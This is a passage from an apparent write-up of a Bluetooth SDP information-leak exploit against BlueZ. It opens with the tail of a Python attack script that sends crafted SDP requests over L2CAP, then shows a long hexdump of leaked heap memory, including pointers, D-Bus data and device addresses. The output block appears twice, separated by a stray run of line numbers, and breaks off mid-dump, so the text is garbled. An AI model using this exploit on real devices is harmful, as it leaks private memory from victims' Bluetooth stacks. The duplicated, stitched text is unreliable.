sdppacket(SERVICE_REC_HANDLE, LEAK_BYTES, attr*10, cstate) sock.send(sdp) # receive leaked data data = sock.recv(mtu) log.info("The response is %d bytes large" % len(data)) print hexdump(data) If everything happens as expected, we shall get a similar output to this: [*] Creating L2CAP socket [*] Connecting to target [*] Sending packet to prepare serverside cstate [*] cstate: len=8 timestamp=5aa54c56 offset=101 [*] Triggering infoleak... [*] The response is 4111 bytes large 00000000 05 00 00 10 0a 0f ff 68 6e 6f 6c 6f 67 69 65 73 │····│···h│nolo│gies│ 00000010 3d 42 52 2f 45 44 52 3b 0a 54 72 75 73 74 65 64 │=BR/│EDR;│·Tru│sted│ 00000020 3d 66 61 6c 73 65 0a 42 6c 6f 63 6b 65 64 3d 66 │=fal│se·B│lock│ed=f│ 00000030 61 6c 73 65 0a 53 65 72 76 69 63 65 73 3d 30 30 │alse│·Ser│vice│s=00│ 00000040 30 30 31 31 30 35 2d 30 30 30 30 2d 31 30 30 30 │0011│05-0│000-│1000│ 00000050 2d 38 30 30 30 2d 30 30 38 30 35 66 39 62 33 34 │-800│0-00│805f│9b34│ 00000060 66 62 3b 30 30 30 30 31 31 30 36 2d 30 30 30 30 │fb;0│0001│106-│0000│ 00000070 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 │-100│0-80│00-0│0805│ 00000080 66 39 62 33 34 66 62 3b 30 30 30 30 31 31 30 61 │f9b3│4fb;│0000│110a│ 00000090 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d │-000│0-10│00-8│000-│ 000000a0 30 30 38 30 35 66 39 62 33 34 66 62 3b 30 30 30 │0080│5f9b│34fb│;000│ 000000b0 30 31 31 30 63 2d 30 30 30 30 2d 31 30 30 30 2d │0110│c-00│00-1│000-│ 000000c0 38 30 30 30 2d 30 30 38 30 35 66 39 62 33 34 66 │8000│-008│05f9│b34f│ 000000d0 62 3b 30 30 30 30 31 31 30 65 2d 30 30 30 30 2d │b;00│0011│0e-0│000-│ 000000e0 31 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 │1000│-800│0-00│805f│ 000000f0 39 62 33 34 66 62 3b 30 30 30 30 31 31 31 32 2d │9b34│fb;0│0001│112-│ 00000100 30 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 │0000│-100│0-80│00-0│ 00000110 30 38 30 35 66 39 62 33 34 66 62 3b 30 30 30 30 │0805│f9b3│4fb;│0000│ 00000120 31 31 31 35 2d 30 30 30 30 2d 31 30 30 30 2d 38 │1115│-000│0-10│00-8│ 00000130 30 30 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 │000-│0080│5f9b│34fb│ 00000140 3b 30 30 30 30 31 31 31 36 2d 30 30 30 30 2d 31 │;000│0111│6-00│00-1│ 00000150 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 39 │000-│8000│-008│05f9│ 00000160 62 33 34 66 62 3b 30 30 30 30 31 31 31 66 2d 30 │b34f│b;00│0011│1f-0│ 00000170 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 │000-│1000│-800│0-00│ 00000180 38 30 35 66 39 62 33 34 66 62 3b 30 30 30 30 31 │805f│9b34│fb;0│0001│ 00000190 31 32 66 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 │12f-│0000│-100│0-80│ 000001a0 30 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 3b │00-0│0805│f9b3│4fb;│ 000001b0 30 30 30 30 31 31 33 32 2d 30 30 30 30 2d 31 30 │0000│1132│-000│0-10│ 000001c0 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 39 62 │00-8│000-│0080│5f9b│ 000001d0 33 34 66 62 3b 30 30 30 30 31 32 30 30 2d 30 30 │34fb│;000│0120│0-00│ 000001e0 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 38 │00-1│000-│8000│-008│ 000001f0 30 35 66 39 62 33 34 66 62 3b 30 30 30 30 31 38 │05f9│b34f│b;00│0018│ 00000200 30 30 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 30 │00-0│000-│1000│-800│ 00000210 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 3b 30 │0-00│805f│9b34│fb;0│ 00000220 30 30 30 31 38 30 31 2d 30 30 30 30 2d 31 30 30 │0001│801-│0000│-100│ 00000230 30 2d 38 30 30 30 2d 30 30 38 30 35 66 39 62 33 │0-80│00-0│0805│f9b3│ 00000240 34 66 62 3b 30 30 30 30 36 36 37 35 2d 37 34 37 │4fb;│0000│6675│-747│ 00000250 35 2d 37 32 36 35 2d 36 34 36 39 2d 36 31 36 63 │5-72│65-6│469-│616c│ 00000260 36 32 37 35 36 64 37 30 3b 0a 0a 5b 44 65 76 69 │6275│6d70│;··[│Devi│ 00000270 63 65 49 44 5d 0a 53 6f 75 72 63 65 3d 31 0a 56 │ceID│]·So│urce│=1·V│ 00000280 65 6e 64 6f 72 3d 31 35 0a 50 72 6f 64 75 63 74 │endo│r=15│·Pro│duct│ 00000290 3d 34 36 30 38 0a 56 65 72 73 69 6f 6e 3d 35 31 │=460│8·Ve│rsio│n=51│ 000002a0 37 34 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 │74··│····│····│····│ 000002b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 000003d0 00 00 00 00 00 00 41 00 00 00 00 00 00 00 35 00 │····│··A·│····│··5·│ 000003e0 04 00 00 00 00 00 80 4d 40 27 aa 55 00 00 00 00 │····│···M│@'·U│····│ 000003f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000400 00 00 00 00 00 00 12 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000410 00 00 00 00 00 00 41 00 00 00 00 00 00 00 09 00 │····│··A·│····│····│ 00000420 11 03 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000440 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000450 00 00 00 00 00 00 31 00 00 00 00 00 00 00 01 00 │····│··1·│····│····│ 00000460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 │····│····│····│··0·│ 00000480 00 00 00 00 00 00 31 00 00 00 00 00 00 00 f0 b5 │····│··1·│····│····│ 00000490 41 27 aa 55 00 00 8c 45 a5 5a 00 00 00 00 30 b9 │A'·U│···E│·Z··│··0·│ 000004a0 41 27 aa 55 00 00 66 00 00 00 66 00 00 00 33 34 │A'·U│··f·│··f·│··34│ 000004b0 66 62 00 00 00 00 11 04 00 00 00 00 00 00 20 17 │fb··│····│····│·· ·│ 000004c0 41 27 aa 55 00 00 45 20 6e 6f 64 65 20 50 55 42 │A'·U│··E │node│ PUB│ 000004d0 4c 49 43 20 22 2d 2f 2f 66 72 65 65 64 65 73 6b │LIC │"-//│free│desk│ 000004e0 74 6f 70 2f 2f 44 54 44 20 44 2d 42 55 53 20 4f │top/│/DTD│ D-B│US O│ 000004f0 62 6a 65 63 74 20 49 6e 74 72 6f 73 70 65 63 74 │bjec│t In│tros│pect│ 00000500 69 6f 6e 20 31 2e 30 2f 2f 45 4e 22 0a 22 68 74 │ion │1.0/│/EN"│·"ht│ 00000510 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 64 65 73 │tp:/│/www│.fre│edes│ 00000520 6b 74 6f 70 2e 6f 72 67 2f 73 74 61 6e 64 61 72 │ktop│.org│/sta│ndar│ 00000530 64 73 2f 64 62 75 73 2f 31 2e 30 2f 69 6e 74 72 │ds/d│bus/│1.0/│intr│ 00000540 6f 73 70 65 63 74 2e 64 74 64 22 3e 0a 3c 6e 6f │ospe│ct.d│td">│·<no│ 00000550 64 65 3e 3c 69 6e 74 65 72 66 61 63 65 20 6e 61 │de><│inte│rfac│e na│ 00000560 6d 65 3d 22 6f 72 67 2e 66 72 65 65 64 65 73 6b │me="│org.│free│desk│ 00000570 74 6f 70 2e 44 42 75 73 2e 49 6e 74 72 6f 73 70 │top.│DBus│.Int│rosp│ 00000580 65 63 74 61 62 6c 65 22 3e 3c 6d 65 74 68 6f 64 │ecta│ble"│><me│thod│ 00000590 20 6e 61 6d 65 3d 22 49 6e 74 72 6f 73 70 65 63 │ nam│e="I│ntro│spec│ 000005a0 74 22 3e 3c 61 72 67 20 6e 61 6d 65 3d 22 78 6d │t"><│arg │name│="xm│ 000005b0 6c 22 20 74 79 70 65 3d 22 73 22 20 64 69 72 65 │l" t│ype=│"s" │dire│ 000005c0 63 74 69 6f 6e 3d 22 6f 75 74 22 2f 3e 0a 3c 2f │ctio│n="o│ut"/│>·</│ 000005d0 6d 65 74 68 6f 64 3e 3c 2f 69 6e 74 65 72 66 61 │meth│od><│/int│erfa│ 000005e0 63 65 3e 3c 69 6e 74 65 72 66 61 63 65 20 6e 61 │ce><│inte│rfac│e na│ 000005f0 6d 65 3d 22 6f 72 67 2e 66 72 65 65 64 65 73 6b │me="│org.│free│desk│ 00000600 74 6f 70 2e 44 42 75 73 2e 4f 62 6a 65 63 74 4d │top.│DBus│.Obj│ectM│ 00000610 61 6e 61 67 65 72 22 3e 3c 6d 65 74 68 6f 64 20 │anag│er">│<met│hod │ 00000620 6e 61 6d 65 3d 22 47 65 74 4d 61 6e 61 67 65 64 │name│="Ge│tMan│aged│ 00000630 4f 62 6a 65 63 74 73 22 3e 3c 61 72 67 20 6e 61 │Obje│cts"│><ar│g na│ 00000640 6d 65 3d 22 6f 62 6a 65 63 74 73 22 20 74 79 70 │me="│obje│cts"│ typ│ 00000650 65 3d 22 61 7b 6f 61 7b 73 61 7b 73 76 7d 7d 7d │e="a│{oa{│sa{s│v}}}│ 00000660 22 20 64 69 72 65 63 74 69 6f 6e 3d 22 6f 75 74 │" di│rect│ion=│"out│ 00000670 22 2f 3e 0a 3c 2f 6d 65 74 68 6f 64 3e 3c 73 69 │"/>·│</me│thod│><si│ 00000680 67 6e 61 6c 20 6e 61 6d 65 3d 22 49 6e 74 65 72 │gnal│ nam│e="I│nter│ 00000690 66 61 63 65 73 41 64 64 65 64 22 3e 3c 61 72 67 │face│sAdd│ed">│<arg│ 000006a0 20 6e 61 6d 65 3d 22 6f 62 6a 65 63 74 22 20 74 │ nam│e="o│bjec│t" t│ 000006b0 79 70 65 3d 22 6f 22 2f 3e 0a 3c 61 72 67 20 6e │ype=│"o"/│>·<a│rg n│ 000006c0 61 6d 65 3d 22 69 6e 74 65 72 66 61 63 65 73 22 │ame=│"int│erfa│ces"│ 000006d0 20 74 79 70 65 3d 22 61 7b 73 61 7b 73 76 7d 7d │ typ│e="a│{sa{│sv}}│ 000006e0 22 2f 3e 0a 3c 2f 73 69 67 6e 61 6c 3e 0a 3c 73 │"/>·│</si│gnal│>·<s│ 000006f0 69 67 6e 61 6c 20 6e 61 6d 65 3d 22 49 6e 74 65 │igna│l na│me="│Inte│ 00000700 72 66 61 63 65 73 52 65 6d 6f 76 65 64 22 3e 3c │rfac│esRe│move│d"><│ 00000710 61 72 67 20 6e 61 6d 65 3d 22 6f 62 6a 65 63 74 │arg │name│="ob│ject│ 00000720 22 20 74 79 70 65 3d 22 6f 22 2f 3e 0a 3c 61 72 │" ty│pe="│o"/>│·<ar│ 00000730 67 20 6e 61 6d 65 3d 22 69 6e 74 65 72 66 61 63 │g na│me="│inte│rfac│ 00000740 65 73 22 20 74 79 70 65 3d 22 61 73 22 2f 3e 0a │es" │type│="as│"/>·│ 00000750 3c 2f 73 69 67 6e 61 6c 3e 0a 3c 2f 69 6e 74 65 │</si│gnal│>·</│inte│ 00000760 72 66 61 63 65 3e 3c 6e 6f 64 65 20 6e 61 6d 65 │rfac│e><n│ode │name│ 00000770 3d 22 6f 72 67 22 2f 3e 3c 2f 6e 6f 64 65 3e 00 │="or│g"/>│</no│de>·│ 00000780 30 30 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 30 │00-0│000-│1000│-800│ 00000790 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 00 00 │0-00│805f│9b34│fb··│ 000007a0 00 00 24 00 00 00 30 30 30 30 31 38 30 30 2d 30 │··$·│··00│0018│00-0│ 000007b0 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 │000-│1000│-800│0-00│ 000007c0 38 30 35 66 39 62 33 34 66 62 00 00 00 00 24 00 │805f│9b34│fb··│··$·│ 000007d0 00 00 30 30 30 30 31 38 30 31 2d 30 30 30 30 2d │··00│0018│01-0│000-│ 000007e0 31 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 │1000│-800│0-00│805f│ 000007f0 39 62 33 34 66 62 00 00 00 00 24 00 00 00 30 30 │9b34│fb··│··$·│··00│ 00000800 30 30 36 36 37 35 2d 37 34 37 35 2d 37 32 36 35 │0066│75-7│475-│7265│ 00000810 2d 36 34 36 39 2d 36 31 36 63 36 32 37 35 36 64 │-646│9-61│6c62│756d│ 00000820 37 30 00 00 00 00 08 00 00 00 4d 6f 64 61 6c 69 │70··│····│··Mo│dali│ 00000830 61 73 00 01 73 00 19 00 00 00 62 6c 75 65 74 6f │as··│s···│··bl│ueto│ 00000840 6f 74 68 3a 76 30 30 30 46 70 31 32 30 30 64 31 │oth:│v000│Fp12│00d1│ 00000850 34 33 36 00 00 00 07 00 00 00 41 64 61 70 74 65 │436·│····│··Ad│apte│ 00000860 72 00 01 6f 00 00 0f 00 00 00 2f 6f 72 67 2f 62 │r··o│····│··/o│rg/b│ 00000870 6c 75 65 7a 2f 68 63 69 30 00 00 00 00 00 10 00 │luez│/hci│0···│····│ 00000880 00 00 53 65 72 76 69 63 65 73 52 65 73 6f 6c 76 │··Se│rvic│esRe│solv│ 00000890 65 64 00 01 62 00 00 00 00 00 00 00 00 00 1f 00 │ed··│b···│····│····│ 000008a0 00 00 6f 72 67 2e 66 72 65 65 64 65 73 6b 74 6f │··or│g.fr│eede│skto│ 000008b0 70 2e 44 42 75 73 2e 50 72 6f 70 65 72 74 69 65 │p.DB│us.P│rope│rtie│ 000008c0 73 00 00 00 00 00 11 02 00 00 00 00 00 00 a0 29 │s···│····│····│···)│ 000008d0 41 27 aa 55 00 00 74 77 6f 72 6b 31 00 00 18 00 │A'·U│··tw│ork1│····│ 000008e0 00 00 00 00 00 00 09 00 00 00 43 6f 6e 6e 65 63 │····│····│··Co│nnec│ 000008f0 74 65 64 00 01 62 00 00 00 00 00 00 00 00 17 00 │ted·│·b··│····│····│ 00000900 00 00 6f 72 67 2e 62 6c 75 65 7a 2e 4d 65 64 69 │··or│g.bl│uez.│Medi│ 00000910 61 43 6f 6e 74 72 6f 6c 31 00 18 00 00 00 09 00 │aCon│trol│1···│····│ 00000920 00 00 43 6f 6e 6e 65 63 74 65 64 00 01 62 00 00 │··Co│nnec│ted·│·b··│ 00000930 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000ac0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 04 │····│····│····│····│ 00000ad0 00 00 00 00 00 00 11 02 00 00 00 00 00 00 b0 2b │····│····│····│···+│ 00000ae0 41 27 aa 55 00 00 00 00 00 00 00 00 00 00 01 00 │A'·U│····│····│····│ 00000af0 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 │····│····│····│····│ 00000b30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000b60 00 00 00 00 00 00 11 00 00 00 00 00 00 00 12 00 │····│····│····│····│ 00000b70 00 00 00 00 00 00 13 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000bb0 00 00 00 00 00 00 1b 00 00 00 00 00 00 00 1c 00 │····│····│····│····│ 00000bc0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000bd0 00 00 00 00 00 00 1f 00 00 00 00 00 00 00 20 00 │····│····│····│·· ·│ 00000be0 00 00 00 00 00 00 21 00 00 00 00 00 00 00 00 00 │····│··!·│····│····│ 00000bf0 00 00 00 00 00 00 23 00 00 00 00 00 00 00 24 00 │····│··#·│····│··$·│ 00000c00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000c80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 00 │····│····│····│··6·│ 00000c90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000ce0 00 00 00 00 00 00 11 02 00 00 00 00 00 00 20 ca │····│····│····│·· ·│ 00000cf0 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 60 d5 │@'·U│····│····│··`·│ 00000d00 3f 27 aa 55 00 00 80 3f 40 27 aa 55 00 00 00 00 │?'·U│···?│@'·U│····│ 00000d10 00 00 00 00 00 00 e0 48 40 27 aa 55 00 00 00 00 │····│···H│@'·U│····│ 00000d20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000d30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 54 │····│····│····│···T│ 00000d40 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │@'·U│····│····│····│ 00000d50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000d70 00 00 00 00 00 00 d0 82 40 27 aa 55 00 00 80 8b │····│····│@'·U│····│ 00000d80 40 27 aa 55 00 00 a0 8c 40 27 aa 55 00 00 00 00 │@'·U│····│@'·U│····│ 00000d90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000dc0 00 00 00 00 00 00 70 a8 40 27 aa 55 00 00 50 a9 │····│··p·│@'·U│··P·│ 00000dd0 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │@'·U│····│····│····│ 00000de0 00 00 00 00 00 00 10 c6 40 27 aa 55 00 00 c0 c6 │····│····│@'·U│····│ 00000df0 40 27 aa 55 00 00 20 c8 40 27 aa 55 00 00 00 00 │@'·U│·· ·│@'·U│····│ 00000e00 00 00 00 00 00 00 60 d3 40 27 aa 55 00 00 d0 d4 │····│··`·│@'·U│····│ 00000e10 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │@'·U│····│····│····│ 00000e20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000e90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 a2 │····│····│····│····│ 00000ea0 41 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │A'·U│····│····│····│ 00000eb0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000ef0 00 00 00 00 00 00 51 00 00 00 00 00 00 00 80 e5 │····│··Q·│····│····│ 00000f00 3f 27 aa 55 00 00 2f 62 6c 75 65 74 6f 6f 74 68 │?'·U│··/b│luet│ooth│ 00000f10 2f 37 30 3a 46 33 3a 39 35 3a 37 41 3a 42 39 3a │/70:│F3:9│5:7A│:B9:│ 00000f20 43 38 2f 63 61 63 68 65 2f 30 30 3a 31 41 3a 37 │C8/c│ache│/00:│1A:7│ 00000f30 44 3a 44 41 3a 37 31 3a 31 31 2e 57 46 53 49 46 │D:DA│:71:│11.W│FSIF│ 00000f40 5a 00 00 00 00 00 21 00 00 00 00 00 00 00 01 00 │Z···│··!·│····│····│ 00000f50 00 00 17 00 00 00 18 00 00 00 19 00 00 00 30 75 │····│····│····│··0u│ 00000f60 00 00 00 00 00 00 51 00 00 00 00 00 00 00 40 e1 │····│··Q·│····│··@·│ 00000f70 41 27 aa 55 00 00 70 81 40 27 aa 55 00 00 20 00 │A'·U│··p·│@'·U│·· ·│ 00000f80 00 00 00 00 00 00 30 00 00 00 00 00 00 00 70 81 │····│··0·│····│··p·│ 00000f90 40 27 aa 55 00 00 73 76 7d 61 73 00 00 00 20 00 │@'·U│··sv│}as·│·· ·│ 00000fa0 00 00 00 00 00 00 f0 c4 40 27 aa 55 00 00 50 00 │····│····│@'·U│··P·│ 00000fb0 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000fc0 00 00 00 00 00 00 00 12 41 27 aa 55 00 00 18 00 │····│····│A'·U│····│ 00000fd0 00 00 20 00 00 00 00 00 00 00 00 00 00 00 ff ff │·· ·│····│····│····│ 00000fe0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff │····│····│····│····│ * 00001000 ff ff ff ff ff ff 08 56 4c a5 5a c8 10 00 00 │····│···V│L·Z·│···│ 0000100f 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 [*] Creating L2CAP socket [*] Connecting to target [*] Sending packet to prepare serverside cstate [*] cstate: len=8 timestamp=5aa54c56 offset=101 [*] Triggering infoleak... [*] The response is 4111 bytes large 00000000 05 00 00 10 0a 0f ff 68 6e 6f 6c 6f 67 69 65 73 │····│···h│nolo│gies│ 00000010 3d 42 52 2f 45 44 52 3b 0a 54 72 75 73 74 65 64 │=BR/│EDR;│·Tru│sted│ 00000020 3d 66 61 6c 73 65 0a 42 6c 6f 63 6b 65 64 3d 66 │=fal│se·B│lock│ed=f│ 00000030 61 6c 73 65 0a 53 65 72 76 69 63 65 73 3d 30 30 │alse│·Ser│vice│s=00│ 00000040 30 30 31 31 30 35 2d 30 30 30 30 2d 31 30 30 30 │0011│05-0│000-│1000│ 00000050 2d 38 30 30 30 2d 30 30 38 30 35 66 39 62 33 34 │-800│0-00│805f│9b34│ 00000060 66 62 3b 30 30 30 30 31 31 30 36 2d 30 30 30 30 │fb;0│0001│106-│0000│ 00000070 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 │-100│0-80│00-0│0805│ 00000080 66 39 62 33 34 66 62 3b 30 30 30 30 31 31 30 61 │f9b3│4fb;│0000│110a│ 00000090 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d │-000│0-10│00-8│000-│ 000000a0 30 30 38 30 35 66 39 62 33 34 66 62 3b 30 30 30 │0080│5f9b│34fb│;000│ 000000b0 30 31 31 30 63 2d 30 30 30 30 2d 31 30 30 30 2d │0110│c-00│00-1│000-│ 000000c0 38 30 30 30 2d 30 30 38 30 35 66 39 62 33 34 66 │8000│-008│05f9│b34f│ 000000d0 62 3b 30 30 30 30 31 31 30 65 2d 30 30 30 30 2d │b;00│0011│0e-0│000-│ 000000e0 31 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 │1000│-800│0-00│805f│ 000000f0 39 62 33 34 66 62 3b 30 30 30 30 31 31 31 32 2d │9b34│fb;0│0001│112-│ 00000100 30 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 │0000│-100│0-80│00-0│ 00000110 30 38 30 35 66 39 62 33 34 66 62 3b 30 30 30 30 │0805│f9b3│4fb;│0000│ 00000120 31 31 31 35 2d 30 30 30 30 2d 31 30 30 30 2d 38 │1115│-000│0-10│00-8│ 00000130 30 30 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 │000-│0080│5f9b│34fb│ 00000140 3b 30 30 30 30 31 31 31 36 2d 30 30 30 30 2d 31 │;000│0111│6-00│00-1│ 00000150 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 39 │000-│8000│-008│05f9│ 00000160 62 33 34 66 62 3b 30 30 30 30 31 31 31 66 2d 30 │b34f│b;00│0011│1f-0│ 00000170 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 │000-│1000│-800│0-00│ 00000180 38 30 35 66 39 62 33 34 66 62 3b 30 30 30 30 31 │805f│9b34│fb;0│0001│ 00000190 31 32 66 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 │12f-│0000│-100│0-80│ 000001a0 30 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 3b │00-0│0805│f9b3│4fb;│ 000001b0 30 30 30 30 31 31 33 32 2d 30 30 30 30 2d 31 30 │0000│1132│-000│0-10│ 000001c0 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 39 62 │00-8│000-│0080│5f9b│ 000001d0 33 34 66 62 3b 30 30 30 30 31 32 30 30 2d 30 30 │34fb│;000│0120│0-00│ 000001e0 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 38 │00-1│000-│8000│-008│ 000001f0 30 35 66 39 62 33 34 66 62 3b 30 30 30 30 31 38 │05f9│b34f│b;00│0018│ 00000200 30 30 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 30 │00-0│000-│1000│-800│ 00000210 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 3b 30 │0-00│805f│9b34│fb;0│ 00000220 30 30 30 31 38 30 31 2d 30 30 30 30 2d 31 30 30 │0001│801-│0000│-100│ 00000230 30 2d 38 30 30 30 2d 30 30 38 30 35 66 39 62 33 │0-80│00-0│0805│f9b3│ 00000240 34 66 62 3b 30 30 30 30 36 36 37 35 2d 37 34 37 │4fb;│0000│6675│-747│ 00000250 35 2d 37 32 36 35 2d 36 34 36 39 2d 36 31 36 63 │5-72│65-6│469-│616c│ 00000260 36 32 37 35 36 64 37 30 3b 0a 0a 5b 44 65 76 69 │6275│6d70│;··[│Devi│ 00000270 63 65 49 44 5d 0a 53 6f 75 72 63 65 3d 31 0a 56 │ceID│]·So│urce│=1·V│ 00000280 65 6e 64 6f 72 3d 31 35 0a 50 72 6f 64 75 63 74 │endo│r=15│·Pro│duct│ 00000290 3d 34 36 30 38 0a 56 65 72 73 69 6f 6e 3d 35 31 │=460│8·Ve│rsio│n=51│ 000002a0 37 34 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 │74··│····│····│····│ 000002b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 000003d0 00 00 00 00 00 00 41 00 00 00 00 00 00 00 35 00 │····│··A·│····│··5·│ 000003e0 04 00 00 00 00 00 80 4d 40 27 aa 55 00 00 00 00 │····│···M│@'·U│····│ 000003f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000400 00 00 00 00 00 00 12 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000410 00 00 00 00 00 00 41 00 00 00 00 00 00 00 09 00 │····│··A·│····│····│ 00000420 11 03 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000440 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000450 00 00 00 00 00 00 31 00 00 00 00 00 00 00 01 00 │····│··1·│····│····│ 00000460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 │····│····│····│··0·│ 00000480 00 00 00 00 00 00 31 00 00 00 00 00 00 00 f0 b5 │····│··1·│····│····│ 00000490 41 27 aa 55 00 00 8c 45 a5 5a 00 00 00 00 30 b9 │A'·U│···E│·Z··│··0·│ 000004a0 41 27 aa 55 00 00 66 00 00 00 66 00 00 00 33 34 │A'·U│··f·│··f·│··34│ 000004b0 66 62 00 00 00 00 11 04 00 00 00 00 00 00 20 17 │fb··│····│····│·· ·│ 000004c0 41 27 aa 55 00 00 45 20 6e 6f 64 65 20 50 55 42 │A'·U│··E │node│ PUB│ 000004d0 4c 49 43 20 22 2d 2f 2f 66 72 65 65 64 65 73 6b │LIC │"-//│free│desk│ 000004e0 74 6f 70 2f 2f 44 54 44 20 44 2d 42 55 53 20 4f │top/│/DTD│ D-B│US O│ 000004f0 62 6a 65 63 74 20 49 6e 74 72 6f 73 70 65 63 74 │bjec│t In│tros│pect│ 00000500 69 6f 6e 20 31 2e 30 2f 2f 45 4e 22 0a 22 68 74 │ion │1.0/│/EN"│·"ht│ 00000510 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 64 65 73 │tp:/│/www│.fre│edes│ 00000520 6b 74 6f 70 2e 6f 72 67 2f 73 74 61 6e 64 61 72 │ktop│.org│/sta│ndar│ 00000530 64 73 2f 64 62 75 73 2f 31 2e 30 2f 69 6e 74 72 │ds/d│bus/│1.0/│intr│ 00000540 6f 73 70 65 63 74 2e 64 74 64 22 3e 0a 3c 6e 6f │ospe│ct.d│td">│·<no│ 00000550 64 65 3e 3c 69 6e 74 65 72 66 61 63 65 20 6e 61 │de><│inte│rfac│e na│ 00000560 6d 65 3d 22 6f 72 67 2e 66 72 65 65 64 65 73 6b │me="│org.│free│desk│ 00000570 74 6f 70 2e 44 42 75 73 2e 